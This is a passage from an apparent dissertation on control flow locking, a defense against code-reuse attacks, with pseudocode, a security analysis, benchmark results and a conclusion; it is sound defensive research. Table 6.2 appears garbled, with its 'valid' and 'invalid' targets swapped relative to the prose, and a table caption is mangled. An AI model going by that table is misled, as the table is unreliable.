Here, \(k\) is known as the *control flow key*, and is simply a word of memory at a fixed location. In this model, the value 0 means “unlocked” and 1 “locked”. This is analogous to a mutex lock operation, though atomicity and waiting are not required for our purposes. At each valid indirect control flow target\(^2\) found in the control flow graph, we apply the corresponding “unlock” operation:

```plaintext
k = 0;
```

In normal operation, every lock will immediately be followed by a transfer to a corresponding unlock. For a code-reuse exploit, however, the attacker’s options have been severely limited. Control flow from an indirect transfer must pass through an unlock operation before encountering another indirect transfer. Because the only unlock operations correspond to valid transfer targets, this means using coarse-grained pieces of code, such as entire functions. Further, it will not be possible to apply TC-RILC-style whole-function chaining, because the *esp-lifter* gadget is eliminated. Therefore, the only code eligible for use by the attacker are those which are valid indirect transfer targets and happen to themselves include a legitimate control flow transfer.

---

\(^1\)See [40] for a formal proof of this property.

\(^2\)The exact definition of an indirect jump target varies depending on the code in question. For statically linked code (including the OS kernel) and code destined to be a standalone executable, only those locations explicitly used as function pointers in the source code are considered targets. For dynamic library code, however, any exported function symbol is also a potential entry point.
This selection is orders of magnitude smaller than the full gamut of gadgets normally available, and worse (for the attacker), we can make a further addition which makes it functionally equivalent to full enforcement of control flow integrity. The above locking algorithms merely ensure that the target of an indirect transfer must pass through any valid entry point before jumping again. However, we can extract additional information from the control flow graph to place finer granularity on our enforcement. To this end, \( k \) can be changed from a single bit to an integer, with values corresponding to paths along the control flow graph. We call this variant \textit{multi-bit control flow locking}. In this model, the lock and unlock algorithms may be rewritten as:

\[
\text{lock}(\text{value}): \\
\quad \text{if} (k \neq 0) \text{ abort()}; \\
\quad k = \text{value};
\]

\[
\text{unlock}(\text{value}): \\
\quad \text{if} (k \neq \text{value}) \text{ abort()}; \\
\quad k = 0;
\]

Here, \textit{value} is a parameter determined at link-time based on the control flow graph, which limits control flow to valid paths specified in the program’s source code. The manner in which the \( k \) value is selected is covered in the following section.

\subsection{The Control Flow Graph}

The general meaning of “control flow graph” includes every basic block in the software as nodes and any labels or deviations from linear execution as edges. This includes conditional branches, direct jumps, etc. For the purposes of this work, however, we need only concern ourselves with indirect control flow transfers, i.e. those that jump to a location stored in memory or a register as opposed to in the instruction itself. Therefore, we use a restricted control flow graph which consists of the following classes of node:

- Entry points into functions. Based on if the entry point is used as a data value in the program, we note if this entry point is \textit{indirectly callable}.

- Locations in the code which may be the target for indirect \texttt{jmp} or \texttt{call} instructions\(^3\).

- Return sites: instructions directly following a \texttt{call}, either direct or indirect.

- Indirect \texttt{call} instructions.

- \texttt{ret} instructions.

The graph has the following classes of edge:

\(^3\)Compiler optimizations can lead to indirect calls or jumps to locations within functions.
Figure 6.1: A simplified view of the control flow graph used in the CFL technique. Indirect jmp instructions, which generally arise from compiler optimizations, are not shown. The value of the control flow key \( k \) is shown next to each edge; grey edges do not require control flow locking and are simply present for completeness.

- Control flow resulting from a ret instruction or an indirect call or jmp.
- The implied edge from a function’s entry point to each of its ret instructions.

An illustration of the relationships in this kind of control flow graph is presented in Figure 6.1. For each black edge, the origin endpoint is the location of “lock” code, and the destination endpoint contains corresponding “unlock” code. The grey edges are direct transfers of control flow, and therefore do not require locking.

Control flow locking is a general mechanism to enforce restrictions on indirect control flow transfers – its accuracy depends on the manner in which \( k \) is selected at each node and the granularity with which it is matched at each destination. The degenerate single-bit variant discussed earlier is equivalent to enforcing \( k = 1 \) for every black edge. In this work, we evaluate multi-bit CFL with a policy derived from static analysis of the source code’s control flow graph. The possible values of \( k \) are enumerated in Table 6.1.

To protect ret instructions in a given function, the lock code before each ret sets \( k \) to a specific value based on the which instructions may call it. The specific value is computed as follows. First, we determine the list of direct call instructions which refer the function in question. This list is hashed to a produce \( d \). Second, we determine if the function may be called indirectly. In practice, this means finding if the function’s symbol has been used in a data declaration or as an operand to a non-control-flow instruction, such as mov. This fact is stored in the boolean indir. Based on the above, assuming a word size of 32-bits, the value of \( k \) is computed as:

\[
(indir \ ? \ 0x80000000 : 0) \ | \ (0x7FFFFFFF \ & \ d)
\]

The lower 31 bits represent the caller hash \( d \) with the sign bit representing indir. This means that functions which may be called indirectly will have a negative \( k \) value, while those that cannot will have a positive \( k \). (In the unlikely event that \( d = indir = 0 \), a positive \( d \) will be chosen.) Choosing the values of \( k \) in this way allows the comparison code to be written in the fewest x86 instructions possible (see Section 6.3).

In the implementation presented in Section 6.3, all indirect call and jmp operations share the \( k \) value of 1. This is due to a limitation in static code analysis: any symbol that represents a
Table 6.1: Possible values of $k$ until the multi-bit CFL scheme.

<table>
<thead>
<tr>
<th>$k$ value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>$k = 0$</td>
<td>Unlocked.</td>
</tr>
<tr>
<td>$k = 1$</td>
<td>Indirect jmp or call.</td>
</tr>
<tr>
<td>$k &gt; 1$</td>
<td>Returning from a function which is not indirectly callable.</td>
</tr>
<tr>
<td>$k &lt; 0$</td>
<td>Returning from a function which is indirectly callable.</td>
</tr>
</tbody>
</table>

location in code which is also used as data may be stored and referenced in arbitrary ways, through multiple pointers, overlapping data structures, etc. As such, it is not possible to automatically identify which locations an indirect call and jmp operations may jump to in general. Therefore, we must conservatively assume that any indirect control flow transfer may go to any code location whose symbol is used as data.

This is not a limitation of the CFL technique, however. If additional control flow information can be provided by the programmer or the higher level language (e.g., a more restrictive language than C), then CFL could readily make use of this information to enforce this new finer-grained control flow graph. As originally introduced by Abadi et al., assigning keys to indirect jmp/call control flow paths can lead to a problem of destination equivalence [2]. This occurs because two indirect call sites may have non-disjoint sets of potential destinations. For example, suppose $X$ may call $A$ or $B$, while $Y$ may call $B$ or $C$. In this case, list of callers of $A$, $B$, and $C$ differ, but $B$ must allow control to flow from either $X$ or $Y$ with a single $k$ value. There are three possible solutions to this problem. First, when ambiguity is present, we may assign a single $k$ value for all functions involved (e.g., $X$ and $Y$ would share a $k$ value). Second, we may apply more fine-grained comparison, such as each destination checking a subset of bits of $k$ (e.g., $B$ only checks the lower 16 bits). Third, we may duplicate whole functions, providing different $k$ values for the each (e.g., $B$ is replicated as $B'$). These techniques can be combined depending on the precise structure of the indirect CFG. Due to limitations of static code analysis, however, the implementation presented treats indirect jmp and call instructions as equivalent. This granularity is sufficient to prevent the jump-oriented programming technique presented in Chapter 3, because it precludes the existence of jump-oriented gadgets.

The edges of Figure 6.1 have been annotated with values for $k$. At each edge origin, the lock code sets $k$ to the specified value. At each target, the unlock code verifies that the value of $k$ is one of those set by an incoming edge. For example, the return site after a direct call will verify that $k$ is equal to the specific key value for the called function, whereas the return site after an indirect call will merely confirm that $k < 0$, as this confirms that control flow was transferred by a ret within an indirectly callable function.

Two additional considerations are needed to ensure that control flow locking cannot be bypassed. First, we must ensure that the value of $k$ cannot be modified directly through code other than the
lock and unlock routines. The x86 architecture has a feature that allows this to be achieved in a straightforward way – memory segmentation. Segmentation permits applications to have multiple separate memory maps which can be uniquely addressed via segment selector registers. Modern operating systems use a flat memory model, and therefore make little use of this feature, meaning that an entire segment register can be dedicated solely to deal with storing $k$. Because there is no unintended code and no explicit segment selection in application-generated code, the only code available to address $k$ lies in the lock and unlock routines.

Second, we must ensure that the attacker cannot redirect control flow directly into a system call (e.g., a `sysenter` instruction). This can be achieved simply by prepending lock verification code to each system call instruction which will validate that $k$ is in the unlocked state (0). This forces control flow for a system call to pass through the corresponding function entry point.

### 6.2.3 Security Analysis

In order to analyze the security provided by CFL, we will review each possible destination for a `ret` instruction or indirect `jmp` or `call` that has been exploited. The possible targets under consideration are the nodes of our indirect CFG (`ret`, indirect `jmp/call`, function entry points, and return sites) as well as system call sites. Table 6.2 enumerates all possible destinations and their eventual outcomes.

In this table, the only outcomes that do not result in the software aborting are those on the valid CFG. The case of control flow arriving “before an indirectly callable function” requires clarification: because functions are $n$-byte aligned, the only code available before a function is the content of the previous function, and all control flow paths in that function must end in a `ret` (or an equivalent operation, such as a direct `jmp` to another function). Therefore, there is no lock-free code path available before a function entry point that would fall through into the function itself.

In Table 6.2, where “preceeding code” may be executed, this cannot include system calls, so

<table>
<thead>
<tr>
<th>If control flow is directed...</th>
<th>Then the system will...</th>
</tr>
</thead>
<tbody>
<tr>
<td>at or before a <code>ret</code> instruction</td>
<td>run preceeding code; abort due to pre-<code>ret</code> lock</td>
</tr>
<tr>
<td>at or before an indirect <code>jmp/call</code> before an indirectly callable function</td>
<td>run preceeding code; abort due to pre-<code>call</code> lock</td>
</tr>
<tr>
<td>at a valid function entry point (for <code>jmp/call</code>)</td>
<td>abort due to a lock within the previous function</td>
</tr>
<tr>
<td>at an invalid indirectly callable function</td>
<td>proceed normally (valid control flow transfer)</td>
</tr>
<tr>
<td>at a valid return site (for <code>ret</code>)</td>
<td>abort on unlock due to $k$ mismatch</td>
</tr>
<tr>
<td>at an invalid return site</td>
<td>proceed normally (valid control flow transfer)</td>
</tr>
<tr>
<td>before a return site (i.e. before a direct call)</td>
<td>abort on unlock due to $k$ mismatch</td>
</tr>
<tr>
<td>at or before a <code>syscall</code></td>
<td>enter function; abort at the next lock operation</td>
</tr>
</tbody>
</table>

Table 6.2: Possible paths of exploited control flow and their outcomes.
the only side effect is a change to program memory and CPU state. However, recall that the attacker’s ability to alter CPU and memory state is already assumed, based on the threat model (see Section 3.1). Therefore, an attacker attempting a code-reuse attack on a CFL-enabled binary achieves no greater control of the program than was provided by the original bug being exploited.

In the following section, we present a practical implementation of the CFL system.

6.3 Implementation

To assess the performance impact of the CFL technique, an implementation was developed on a 32-bit x86 Debian Linux 5.0.4 system with an Intel Core 2 Duo E8400 3.0GHz CPU. Because the protection must be applied to complete software stack, a CFL-enabled libc was built based on dietlibc\(^4\) version 0.32 [53]. In addition, gcc itself includes a static library called libgcc for inclusion in all binaries – this library contains helper functions unique to each hardware architecture. A CFL-enabled variant of this library was also produced. This implementation is based on statically linked binaries; Section 6.5 discusses how the technique can be extended to dynamically linked binaries.

6.3.1 Overview

The CFL system was implemented as two additional phases within the normal gcc build system: (1) an assembly language rewriter and (2) a small post-link patch-up phase. The complete workflow is diagrammed in Figure 6.2. The assembly language rewriter performs the vast majority of the work, encapsulating both the alignment transformations needed to eliminate unintended code as well as the core CFL transformations. Placing the transformation at the assembly phase allows both C and assembly-language code to be protected, but has the downside of requiring our system to reconstruct some semantic information, such as the call graph, control flow graph, and the list of symbols eligible to be called indirectly. Further, much of this information is not available at level

\[^4\text{This libc variant was designed to minimize code size, but the reason that it was selected for this work is its simplicity and adherence to best practices where assembly code is concerned; these factors simply eased the implementation. There’s no reason why a more common libc implementation, such as GNU libc, could not be used instead.}\]
of the individual assembly language files, so it was necessary implement compilation as a two-pass process.

In the first pass, the assembly rewriter inserts lock and unlock code under the assumption that no symbol may be called indirectly. During this, records of each code symbol, symbol reference, lock operation, and unlock operation are noted in a new ELF section\(^5\) called `.lockinfo`. Then, during the post-link phase, the `.lockinfo` can be used to determine all indirectly callable code symbols. This symbol list is exported for use in the second build pass.

During the second pass, the assembly rewriter can now use the list of indirectly callable code symbols to insert additional unlock operations as needed. As before, all lock and unlock operations are noted in the `.lockinfo` section. The \(k\) values used in these operations are simply dummy values, as the call graph is not yet known. During the post-link phase of the second pass, the call graph is available, and every \(k\) value can be computed. The system therefore uses the locations of the lock and unlock operations recorded in the `.lockinfo` to patch in the proper \(k\) values directly into the x86 code. At this time, the `.lockinfo` section can be discarded to reduce the executable size; it is not needed at runtime.

To summarize, the steps undertaken by the assembly rewriter are:

1. Align instructions and function entry points on 32-byte boundaries and restrict control flow instructions to 32-byte boundaries.
2. Note all symbol references and code labels in `.lockinfo`.
3. Insert lock code before all indirect control flow transfers.
4. Insert unlock code before all indirect control flow destinations (including those found during the post-link phase of the first pass).

The steps undertaken by the post-link patch-up phase are:

1. Use the `.lockinfo` to construct the call graph and identify all lock and unlock code locations.
2. Make note of indirectly called symbols for use in the second pass.
3. Patch the binary with the \(k\) values computed for each function in all lock and unlock code.

### 6.3.2 Lock/unlock operations

The specific values for \(k\) (described in Section 6.2.2) were selected to allow the implementation of lock and unlock operations to be done efficiently. This is achieved by exploiting the difference

\(^5\)ELF binary objects in Linux are composed of multiple sections, such as `.text` for code and `.data` for writable data. Arbitrary new sections can be introduced as needed and do not affect normal operation of the program. These sections are present in object files and linked together when building the final binary, at which time any symbols used are resolved.
between signed and unsigned comparisons on the x86. Figure 6.3 depicts the key assembly code transformations which insert lock and unlock code.

Figure 6.3(a) shows the lock code inserted before each `ret`. The first two lines ensure that `k` is 0, otherwise aborting with a lock violation error. The third line sets `k` to the proper value for this particular function. At assembly time, this `<key>` is simply set to a dummy value, which is later filled in during the post-link phase.

Figure 6.3(b) shows the corresponding unlock code for a direct call. This code will ensure that `k` is set to the proper value for the function in question before clearing `k` back to 0.

Figure 6.3(c) shows two transformations. First, because this is an indirect call operation, a lock is inserted before the call. As before, this lock ensures that `k` is 0 (unlocked). It then sets `k` to the proper value for an indirect call (1). After the call returns, a special variant of the unlock code is inserted. This variant must verify that `k` contains a value corresponding to an indirectly callable function, i.e., a negative value. Therefore, the first two lines of this unlock will compare `k` to 0 and abort if `k ≥ 0`. Otherwise, `k` will be unlocked.

Figure 6.3(d) shows the code inserted at the site of a label which may be indirectly called or jumped to. This unlock code corresponds to the lock set in the first top half of Figure 6.3(c). This code may be reached via an indirect call or jump, in which case `k = 1`, or it may be accessed via a direct call or jump, in which case no locking has taken place and `k = 0`. Therefore, this unlock code must accept only those cases. To achieve this, we switch to using an unsigned compare. To determine if `k` is 0 or 1, we compare it to 1 and abort if and only if `k > 1`; otherwise, `k` is unlocked and execution continues.
6.3.3 Assembly language caveats

It is important to note that, in principle, the concept of a call graph only exists in the realm of higher level languages such as C. Assembly code need not respect this concept. For example, it is possible for one hand-coded (or compiler-optimized) function to jump or fall through into another without using a call instruction. In addition, the differentiation between a full-fledged function and a mere label in GNU assembly language is merely based on naming—local labels start with .L. However, hand-coders of assembly language need not follow this convention, as the only consequence for making all symbols global is some confusion when using the debugger.

Therefore, it was necessary to ensure that all manually written assembly code (such as that found in dietlibc) be made to conform to the same rules as code generated by the C compiler (or at least have the exceptions noted explicitly). To this end, minor changes were made to dietlibc to explicitly indicate fall-through, and direct jumps between functions were detected and automatically annotated as well. When two functions have such a relationship, we say that they are jump-connected. Further, jump-connectedness is a transitive relationship, so if $A$ and $B$ are each jump-connected to $C$, then $A$ is jump-connected to $B$, and vice versa. Detecting such cases is necessary, because a function may return on behalf of another. In this case, the $k$ value for the return lock code must match for the two functions.

Therefore, where previously we have made reference to the list of callers of a function, a more accurate description would be the list of callers to all functions jump-connected to the one under consideration.

6.4 Evaluation

We evaluate the CFL technique from two perspectives: correctness and performance impact. Validating the correctness of compiled binaries is a straightforward extension of the reliable disassembly method introduced in Native Client [57]. Once the alignment rules have been confirmed, the only extension needed is to verify that all indirect control flow transfers have corresponding lock and unlock code. Because 32-byte alignment eliminates the possibility of unintended code, this check is simply a straightforward scan of the disassembled code.

To evaluate the performance impact of CFL, we built a number of C based benchmarks from the SPEC CPU 2000 and SPEC CPU 2006 suites, as well as some common UNIX utilities. The SPEC CPU benchmarks were run using their standard reference workloads. The workload for the UNIX utilities were similar to those used in the evaluation of G-Free [43]: md5sum computed the MD5 hash of a 2GB file, grep searched a 2GB text file for a short regular expression, and dd created a 4GB file on disk by copying blocks from /dev/zero. These applications were built using four different assembly rewriter algorithms:
Figure 6.4: Performance overhead of various forms of the CFL technique.

- **None**: No changes made.
- **Just alignment**: Only the alignment rules needed to preclude unintended code are implemented.
- **Single-bit CFL**: The degenerate single-bit jump locking algorithm in which the only values for $k$ are 0 and 1. The unlock code is simplified, as it need not check for a locked state, and will instead simply set $k$ to 0.
- **Full CFL**: The complete control flow locking scheme.

Overhead was computed for the latter three algorithms compared to “None” as the base case; these results are presented in Figure 6.4. Overall performance impact can be divided into four categories.

First, many of the workloads (mcf, milc, lbm, md5sum, grep, and dd) exhibited negligible overhead. These applications likely did not perform a large amount of control flow compared to useful computation, i.e., control flow operations were not on the critical path. This may be due to their primary computation being implemented as coarse-grained, long-running functions, or (in the case of dd) another resource such as IO being on the critical path.
Second, the compression benchmarks *gzip* and *bzip2* incurred 2–3% overhead just due to alignment, then almost no additional overhead from the inclusion of CFL. That is, the no-ops and address masking operations involved in preventing unintended code accounted for almost the entirety of overhead for these workloads.

Third, the performance of *art* is an interesting case. In single-bit CFL, it incurs almost 5% overhead, but yields near-zero overhead for plain alignment and full CFL. This case is puzzling, and it may be related to an idiosyncrasy of working with the x86 assembly language and microarchitecture. Modern x86 CPUs are super-scalar out-of-order processors with complex branch and value prediction and multiple layers of cache. In addition, some instructions have multiple forms with differing lengths. For example, the conditional jump instruction can be short (encoded in 2 bytes for distances less than 128 bytes) or long (encoded in 6 bytes for larger distances). Therefore, it is possible for assembly-level modifications to have unexpected subtle effects on performance. For example, insertion of a three-instruction “lock” code may make a conditional jump go from short to long form, which in turn may ripple down and affect all subsequent alignment operations, which may in turn alter how the code fits into the CPU instruction cache or the contention for functional units within the ALU. It is very difficult to identify how these subtle changes may affect a given process’s execution on a given CPU, so it is not clear that such effects are the necessarily culprit with *art*, but given that full CFL involves strictly more inserted code than single-bit CFL, yet has less overhead here, it is the best theory available to explain this case.

Fourth, some workloads (*gap*, *twolf*, and *sjeng*) exhibited significant overhead as more and more instructions were added to govern control flow operations. It is likely that these workloads make use of fine-grained control flow, such as calling many short-lived functions, in the course of their execution. This is supported through application profiling: the *gap* benchmark, which saw the largest CFL overhead, performed over $3.6 \times 10^7$ calls per second, whereas *mcf*, which had negligible overhead, performed only $6.5 \times 10^5$ calls per second. One interesting thing to note is that the CFL technique was applied with no modification to the C optimizer; it may be the case that adjustments could be made to the optimizer to reflect the newly increased cost of control flow operations to mitigate this overhead. For example, the logic that determines when a function should be inlined may need to be recalibrated to reflect the increased cost of function calls. The question of how to mitigate the performance impact of CFL opens an interesting avenue for future work.

The CFL technique compares favorably against prior techniques. One of the highest overheads recorded for the control flow integrity (CFI) technique proposed by Abadi et al. [2], CPU2000’s *gap* benchmark, saw 31% overhead. The CFL technique provides equivalent protection with 21% overhead for this workload. For the other benchmarks available for direct comparison (*bzip2*, *gzip*, and *twolf*), CFI achieved overheads between 0% and 5%; CFL achieves comparable results. A direct comparison between these figures isn’t strictly possible, as the CFI work was conducted on a different OS and CPU. However, CFL likely compares favorably in the general case because
it involves a similar amount of instrumentation, but incurs strictly less L1 data cache pressure compared to CFI. The reason for this is as follows. The x86 L1 cache is split between instructions and data. In CFI, when the destination is checked, memory at the jump target must be loaded as data in the cache. Then, after the comparison succeeds and control moves to the target, the same memory must be loaded again, this time into the instruction side of the L1 cache. In contrast, the CFL technique places the key values as immediate operands within the instructions being executed, removing the need for this double-load behavior. In short, CFL executes similar operations at each control flow transfer while removing needless data cache pressure.

With regard to the G-Free system, making a comparison is difficult because the published evaluation in that work was limited to IO-bound and computation-kernel workloads\footnote{Specifically, the evaluation did end-to-end protection for six workloads: \texttt{gzip}, \texttt{grep}, \texttt{dd}, \texttt{md5sum}, \texttt{ssh-keygen}, and \texttt{lame}. In addition, a wider selection of benchmarks was tested with their technique protecting libc only, not the application code. Because control flow is seldom on the critical path within libc, these measurements fail to characterize the performance of the G-Free system with a workload rich in control flow operations, so it is not possible to conclusively compare those workloads to systems like CFL or CFI.} [43]. As such, without a direct comparison of G-Free across a larger number of workloads, it is difficult to speak generally about the relative performance it versus CFL. Nevertheless, for the metrics that are available, the CFL technique is competitive. Four benchmarks are shared between this work and G-Free’s evaluation: \texttt{gzip}, \texttt{grep}, \texttt{dd}, and \texttt{md5sum}. For \texttt{gzip}, CFL achieved roughly equal overhead to G-Free: 3\%. For the others, CFL achieved essentially zero overhead (within the standard deviation), whereas G-Free incurred between 0.6\% and 2.6\% overhead\footnote{No information on test repetitions or measurement variance was provided in [43].}. These results are promising, but inconclusive. It is possible that neither technique is superior in all cases; there may be a trade-off that makes one of the two schemes more efficient for a given application.

\subsection*{6.5 Discussion}

It is important to clarify the precise security benefit that the CFL scheme offers: it constrains the path of execution to the software’s control flow graph, allowing at most one violation, and guaranteeing that this violation cannot be used to construct a malicious system call directly. There are two key limitations in this approach.

First, the protection is only as good as the control flow graph being enforced. In this implementation, an automatically derived graph was used. This graph imposed tight restrictions on direct calls and their corresponding rets, and limited indirect call and jmp instructions to those entry points which were used indirectly in the assembly code. The indirect call/jmp protection could be improved if the programmer or higher-level language provided more precise insight into how indirect control flow transfers were to be used.

Second, our threat model presumes that the exploit in play can be used to alter the application’s
memory. The CFL technique is only intended to mitigate the risk of a code-reuse attack, which exploits the program's control data. However, as Chen et al. correctly observed, "Non-control-data attacks are realistic threats" [16]. That is, malicious attacks on plain variables can yield significant security problems, including unauthorized access and privilege escalation. Further, one can easily imagine a scenario in which a pure-data attack could even lead to malicious Turing complete behavior without altering control flow. Interpreters are a straightforward example of this risk: overwriting the “code” being interpreted can yield arbitrary attacker-controlled behavior. As such, the CFL technique is not intended to serve as a silver bullet to the all the dangers posed by software exploits, but rather to mitigate the specific threat that code-reuse attacks pose.

The implementation presented in Section 6.3 was based on statically linked binaries. This was primarily for ease of implementation; there is no reason in principle why the technique could not be applied to dynamically linked binaries. From a theoretical perspective, the conversion is straightforward: (1) the analysis of the call graph currently performed in the post-ld phase would be moved to the runtime linker, and (2) because we do not know at build time which exported symbols may be called indirectly, unlock code would be inserted in all exported functions’ entry points, to be removed as needed by the runtime linker. Of course, the call graph of different programs would lead to different \( k \) values within dynamic shared libraries, which is problematic, as the library code pages would no longer be able to be shared. One possible solution would be to add a layer of indirection to the lookup of \( k \) values: instead of embedding the value directly in the instruction, a lookup into a per-process table could be substituted. It isn’t immediately clear what the additional overhead of this modification would be. Extending the CFL technique to support dynamically linked libraries presents an interesting problem which we leave to future work.

The G-Free technique, which modifies assembly code to remove unintended indirect control flow transfers, may present an interesting extension to CFL. Currently, the problem of unintended code is solved by imposing alignment based on prior work on sandboxing [40, 57]. However, it may be possible to replace this technique with the branch-removal algorithm employed by G-Free, while leaving the actual control flow lock/unlock code as-is. This hybrid technique may have performance benefits which could make it more attractive than the current G-Free or CFL systems. Examining this possibility is another interesting question we leave to future work.

6.6 Summary

This chapter presented a novel defense against code-reuse attacks called control flow locking (CFL). This technique ensures that the control flow graph of an application is deviated from no more than once, and that this deviation cannot be used to craft a malicious system call. CFL works by performing a “lock” operation before each indirect control flow transfer, with a corresponding “unlock” operation present at valid destinations only. The technique has been implemented in practice on
a commodity x86 system, and it has been shown to offer performance overhead competitive with existing techniques, achieving significant gains in several benchmarks. CFL represents a general solution to the problem of code-reuse attacks with a performance penalty small enough to justify deployment in real-world situations.
Chapter 7

Conclusion

This document has presented two novel code-reuse attack techniques: jump-oriented programming (demonstrated on both x86 and MIPS) and Turing-complete return-into-libc. The jump-oriented programming technique is particularly threatening, as it has the same expressive power as return-oriented programming, but eliminates any reliance on the stack for control flow. This has negative implications for a broad spectrum of defense techniques designed to prevent code-reuse attacks.

After reviewing the current state of this field, this document put forth a novel defense technique that can mitigate the threat of jump-oriented programming and other code-reuse attacks. This technique, called control flow locking (CFL), achieves protection functionally equivalent to prior techniques, but with significantly reduced overhead for many workloads.

The details surrounding control flow locking present many avenues for future research. First, while the performance overhead of CFL is relatively low, it may be possible to improve it further. The current implementation operates entirely at the assembly language level, and has no effect on the C compilation phase. There may be opportunities for CFL-aware optimizations during compilation, such as more aggressive function inlining or code rearrangement to minimize the cost of instruction alignment.

Second, the current implementation is based on statically linked binaries. Expanding the technique to allow for dynamic library support is straightforward in theory, but achieving good performance while retaining shared code pages presents an interesting implementation problem (see Section 6.5).

Third, there is an opportunity to improve security through more robust detection of the control flow graph with respect to indirect jmp and call instructions. Currently, indirectly referenced locations in code are considered equally valid destinations for any indirect control flow transfer. Greater integration with the higher-level language compiler could narrow this selection. In addition, data flow analysis and other techniques could be brought to bear to further improve automatic detection of which code locations are reachable from a given indirect branch instruction. Finally,
because CFL can be used to enforce any control flow graph, it may be interesting to consider implementing an externally derived security policy, such as restricting the selection of libc calls available to a program.

Fourth, it would be interesting to adapt the CFL technique to architectures other than x86, especially RISC architectures such as ARM or MIPS. In these environments, there is no unintended code, so the alignment technique employed for x86 would not be necessary. However, the lock and unlock operations may incur additional overhead, as RISC architectures typically cannot encode a compare of a immediate with a memory word in a single instruction. Evaluating the changes needed to implement CFL efficiently in such an architecture remains an open problem.

In addition to expanding upon control flow locking, there is another possible technique to protect against code-reuse attacks by leveraging a hardware feature of modern x86 CPUs: the ability to automatically record control flow history. This feature, called last branch recording (LBR) [30], has seen some use in the security field, such as ensuring that the call path to a given monitoring hook has not been forged [49]. This capability could pave the way for a form of control flow integrity enforcement with dramatically reduced overhead. By periodically comparing the actual control flow history to the legitimate control flow graph, it becomes possible to detect the aberrations that occur when control flow is subverted. Because the tracking is done in hardware, the only software overhead would come from the validation, meaning that performance overhead could be significantly reduced.

In closing, this document has attempted to clarify the risk posed by code-reuse attacks and to mitigate this risk through use of a novel defense mechanism. This represents another iteration of the continuing arms race between attackers and defenders in software security; it is a call to action for ongoing study of the next generation of threats facing the IT industry.
REFERENCES


